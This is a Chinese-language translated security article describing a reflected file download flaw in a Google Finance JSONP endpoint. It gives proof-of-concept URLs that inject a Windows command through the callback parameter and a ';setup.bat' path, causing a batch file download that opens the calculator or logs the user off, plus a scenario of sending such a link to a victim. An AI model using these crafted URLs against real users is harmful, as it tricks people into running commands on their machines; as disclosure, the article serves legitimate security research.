一位葡萄牙的网络安全专家David Sopas发现了影响Google财经的一个反射文件下载(RFD)漏洞。

我在审计其他客户端的时候发现了这个漏洞,通过RFD,你无需建立页面来强制下载。这个Google JSON文件的请求已经替我们做到了。

发现漏洞

我发现这个请求:

http://www.google.com/finance/info?q=ELI:ALTR&callback=?

会返回如下的信息:

// [
{
"id": "703655"
,"t" : "ALTR"
,"e" : "ELI"
,"l" : "4.71"
,"l_fix" : "4.71"
,"l_cur" : "€4.71"
,"s": "0"
,"ltt":"5:35PM GMT+1"
,"lt" : "Dec 15, 5:35PM GMT+1"
,"lt_dts" : "2015-12-15T17:35:40Z"
,"c" : "+0.31"
,"c_fix" : "0.31"
,"cp" : "7.14"
,"cp_fix" : "7.14"
,"ccol" : "chg"
,"pcls_fix" : "4.396"
}
]

然后我就好奇,回调参数能不能伪造呢。所以我就在请求时加入了“calc”:

http://www.google.com/finance/info?q=ELI:ALTR&callback=calc

然后返回的信息如下:

//
calc([
{
"id": "703655"
,"t" : "ALTR"
,"e" : "ELI"
,"l" : "4.71"
,"l_fix" : "4.71"
,"l_cur" : "€4.71"
,"s": "0"
,"ltt":"5:35PM GMT+1"
,"lt" : "Dec 15, 5:35PM GMT+1"
,"lt_dts" : "2015-12-15T17:35:40Z"
,"c" : "+0.31"
,"c_fix" : "0.31"
,"cp" : "7.14"
,"cp_fix" : "7.14"
,"ccol" : "chg"
,"pcls_fix" : "4.396"
}
]
);

妥了!我把Windows命令注入到XHR请求中了。我们来看看这个URL可不可行:

http://www.google.com/finance/info;setup.bat?q=ELI:ALTR&callback=calc

然后我就收到了自动弹出批处理文件下载窗口的URL。

我尝试了一下这些浏览器,发现都是可行的:

Firefox最新版本
Opera 最新版本
Internet Explorer 8和9

使用限制

我注意到测试时,大部分的字符都经过过滤,所以你只能用一个命令,不能有空格或者参数。

PoC:

http://www.google.com/finance/info;setup.bat?q=ELI:ALTR&callback=calc

[批处理执行时会打开计算器]

http://www.google.com/finance/info;setup.bat?q=ELI:ALTR&callback=logoff

[批处理执行时windows会注销]

攻击场景:

攻击者把URL发给受害者:http://www.google.com/finance/info;setup.bat?q=ELI:ALTR&callback=logoff
受害者下载并执行文件
批处理执行后受害者就会被注销出操作系统

视频演示


Google认为这个问题不大,没有安全影响,但David Sopas不那么认为。目前这个RFD漏洞尚未被修复。

* 参考来源:David Sopas,vulture翻译,文章有修改,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

源链接

Hacking more

...